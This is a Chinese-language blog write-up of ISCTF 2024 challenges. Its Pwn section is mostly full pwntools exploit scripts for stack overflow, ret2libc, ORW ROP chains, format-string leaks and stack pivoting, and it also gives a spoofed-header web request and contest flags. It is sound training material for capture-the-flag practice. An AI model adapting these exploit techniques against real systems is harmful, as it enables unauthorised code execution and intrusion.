ISCTF 2024

这是2024年11月份的一场新生赛,Pwn题的质量还不错,学到了一些东西。

WriteUp

Pwn

Netcat

nc 签到

girlfriend

main 函数里有比对 admin,还发现 s1 在 buf 的范围内,可以在输入的时候控制 s1 为 admin。

vuln 函数可以栈溢出,for 循环总共 8 次,在第八次输入时可以覆盖返回地址;0-5 是数组 v1,6 是 rbp,7 是返回地址;值得一提的是 i 是在 v1 的范围内,因此输入的值要合理。

有后面函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

p = process('./pwn')
# p = remote('gz.imxbt.cn', 20665)
# p = remote('27.25.151.12', 30728)

shell = 0x40121B#4198939

payload = b'a'*(0x30-0x8) + b'admin'
p.recvuntil("first i need your team id")
p.send(payload)

for i in range(7):
payload = b'5'
p.recvuntil("birthday\n")
p.sendline(payload)

p.recvuntil("birthday\n")
p.sendline(b'4198939')

p.interactive()

ez_game

这题是一个伪随机数,总共需要跑 20001 次,最开始的想法是栈溢出控制 seed 的值,但是在循环里面没处理好;后面的做法是先跑 20001 次随机数存到列表中,然后连上远程发送列表里的随机数。

这里我给出了两个 exp,第一个是先跑随机数,第二个是栈溢出控制随机数。

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from ctypes import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

libc = cdll.LoadLibrary('./libc.so.6')

seed = 1
libc.srand(seed)
random = []
for i in range(20001):
random.append(libc.rand() % 7 + 1)

# p = process("./pwn")
p = remote('27.25.151.12', 31338)

p.recvuntil("Enter your username: ")
p.sendline(b'1')

for i in random:
p.sendline(str(i))

p.interactive()

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from ctypes import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

libc = cdll.LoadLibrary('./libc.so.6')

p = process("./pwn")
# p = remote("gz.imxbt.cn", 20620)

p.recvuntil("Enter your username: ")
payload = b'a'*0x190 + p64(0)
p.sendline(payload)

libc.srand(0)
for i in range(20001):
res = libc.rand() % 7 + 1
p.sendline(str(res).encode())


p.interactive()

ret2orw

vuln 函数有栈溢出

开了沙箱禁用 execve,考虑使用 open、read 和 write 读取 flag。

我们在 vuln 泄露出 libc 之后返回到 main 函数,然后构造一个大的 read,并栈迁移到 bss 段,最后布置 orw 的 rop 链读取 flag,这里构造 read 是担心 0x100 字节不足以布置 orw 的 rop 链。

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

# p = process('./pwn')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./pwn')
p = remote('27.25.151.12', 25636)
libc = ELF('./libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x4012F2
bss = 0x404060+0x400
bss1 = 0x404060+0x700
pop_rdi = 0x4012ce
pop_rbp = 0x4011dd
leave_ret = 0x40129f
ret = 0x40101a

payload = b'a'*0x20 + p64(0)
payload += p64(pop_rdi) +p64(puts_got)
payload += p64(puts_plt) + p64(main)
p.recvuntil("oh,what's this?\n")
p.sendline(payload)
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
success('puts_addr:{}'.format(hex(puts_addr)))

libc_base = puts_addr - libc.sym['puts']
success('libc_base:{}'.format(hex(libc_base)))
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
pop_rsi = libc_base + 0x16333a
pop_rdx = libc_base + 0x904a9#pop rdx; pop rbx; ret;

#read(0, bss, 0x500)
payload = b'a'*0x28
payload += p64(pop_rdi)+ p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x500) + p64(0)
payload += p64(read_addr)
payload += p64(pop_rbp) + p64(bss) + p64(leave_ret)
p.recvuntil("oh,what's this?\n")
p.sendline(payload)

#open(bss, 0, 0)
payload = b'./flag\x00\x00'
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0) + p64(0)
payload += p64(open_addr)
payload += p64(ret)
#read(3, bss1, 0)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(bss1)
payload += p64(pop_rdx) + p64(0x30) + p64(0)
payload += p64(read_addr)
payload += p64(ret)
#puts(bss1)
payload += p64(pop_rdi) + p64(bss1)
payload += p64(puts_plt)
sleep(0.2)
p.sendline(payload)

p.interactive()

实际上 0x100 字节刚刚好能够进行栈溢出并构造 orw 的 rop 链,因此可以不用进行栈迁移。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

# p = process('./pwn')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./pwn')
p = remote('27.25.151.12', 24981)
libc = ELF('./libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x4012F2
read = 0x4012AD
bss = 0x404060+0x400
pop_rdi = 0x4012ce

payload = b'a'*0x20 + p64(0)
payload += p64(pop_rdi) +p64(puts_got)
payload += p64(puts_plt) + p64(main)
p.recvuntil("oh,what's this?\n")
p.sendline(payload)
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
success('puts_addr:{}'.format(hex(puts_addr)))

libc_base = puts_addr - libc.sym['puts']
success('libc_base:{}'.format(hex(libc_base)))
puts = libc_base + libc.sym['puts']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
pop_rsi = libc_base + 0x16333a
pop_rdx = libc_base + 0x904a9#pop rdx; pop rbx; ret;

# attach(p)
#read(0, bss, 0x40)
payload = b'a'*0x28
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x40) + p64(0)
payload += p64(read_addr)
#open(bss, 0, 0)
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0) + p64(0)
payload += p64(open_addr)
#read(3, bss, 0x40)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x40) + p64(0)
payload += p64(read_addr)
#puts(bss)
payload += p64(pop_rdi) + p64(bss)
payload += p64(puts_plt)
# payload = payload.ljust(0x100, b'a')
p.recvuntil("oh,what's this?\n")
p.send(payload)
sleep(0.1)
p.send('./flag')

p.interactive()

小蓝鲨stack

main 函数存在栈溢出

gdb 调试,在 main 函数执行到 ret 之后会进入 __libc_start_main 函数,然后执行 exit 退出。

我们可以在 libc 中找到 call exit 这个位置,修改返回地址的最后一个字节为 0x7c,使得程序能够重新执行 main 函数,同时也会泄露出 libc。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

p = process('./pwn1')
# libc = ELF('./libc-2.31_9.16.so')
# elf = ELF('./pwn')
# p = remote('27.25.151.12', 36144)
libc = ELF('./libc-2.31.so')

main = 0x4011DB
pop_rdi = 0x401293
ret = 0x40101a

# attach(p)
payload = b'a'*0x20 + b'b'*8 + p8(0x7c)
p.send(payload)
p.recvuntil(b'b'*8)
addr = u64(p.recv(6).ljust(8, b'\x00'))
success('addr:{}'.format(hex(addr)))

libc_base = addr - 0x2407c
success('libc_base:{}'.format(hex(libc_base)))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

payload = b'a'*0x28 + p64(pop_rdi) + p64(binsh)
payload += p64(ret) + p64(system) + p64(0)
p.sendline(payload)
p.recv()

p.interactive()

看了其他师傅的 wp, 由于这道题没有开 pie ,所以实际上也是 ret2libc 的板子题,只不过需要多用几次 ret 来平衡堆栈。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

p = process('./pwn1')
# libc = ELF('./libc-2.31_9.16.so')
elf = ELF('./pwn')
# p = remote('27.25.151.12', 36144)
libc = ELF('./libc-2.31.so')

printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main = 0x4011DF
pop_rdi = 0x401293
ret = 0x40101a

attach(p)
payload = b'a'*0x28
payload += p64(pop_rdi) + p64(printf_got)
payload += p64(ret) + p64(printf_plt)
payload += p64(ret) + p64(main)
p.send(payload)
p.recvuntil(b'\x40')
printf_addr = u64(p.recv(6).ljust(8, b'\x00'))
success('printf_addr:{}'.format(hex(printf_addr)))

libc_base = printf_addr - libc.sym['printf']
success('libc_base:{}'.format(hex(libc_base)))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

payload = b'a'*0x28
payload += p64(pop_rdi) + p64(binsh)
payload += p64(ret) + p64(system)
p.send(payload)

p.interactive()

0verf10w

程序保护全开

main 函数,存在一个格式化字符串漏洞

vuln 函数,溢出一个字节,所谓的 off-by-one 漏洞

泄露出栈地址、libc 地址和 canary,然后栈迁移执行 one_gadget。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

p = process("./pwn1")

# attach(p, 'b *$rebase(0x1359)')
p.recvuntil("that?\n")
p.sendline(b'a')
p.recvuntil("gift!\n")
payload = b'\x00'*8 + b'%15$p%11$p%9$p'
p.send(payload)
stack = int(p.recv(14), 16)
success('stack:{}'.format(hex(stack)))
libc_base = int(p.recv(14), 16) - 0x29d90
success('libc_base:{}'.format(hex(libc_base)))
canary = int(p.recv(18), 16)
success('canary:{}'.format(hex(canary)))

one_gadget = libc_base + 0xebc81
rbp = stack - 0x160
success('rbp:{}'.format(hex(rbp)))
rbp1 = stack - 0xc8
success('rbp1:{}'.format(hex(rbp1)))

payload = p64(canary) + p64(rbp1) + p64(one_gadget)
payload += p64(canary) + p8(rbp&0xFF)
p.recvuntil("again?????\n")
p.send(payload)

p.interactive()

Web

25时晓山瑞希生日会

http 修改请求头

请求如下

1
2
3
User-Agent: Project Sekai
X-Forwarded-For: 127.0.0.1
Date: Tue, 27 Aug 2024 10:00:00 GMT

Misc

小蓝鲨的签到02

010Editor 打开

ISCTF{blueshark!_@#2024$%^&*}

数字迷雾:在像素中寻找线索

随波逐流一把梭

ISCTF{+9qn1DKdun!glAK}

游园地1

ISCTF{湖北省_武汉市_江汉区_中山公园}


ISCTF 2024
https://tsuk1ctf.github.io/post/35326.html
作者
Tsuk1
发布于
2024年12月28日
许可协议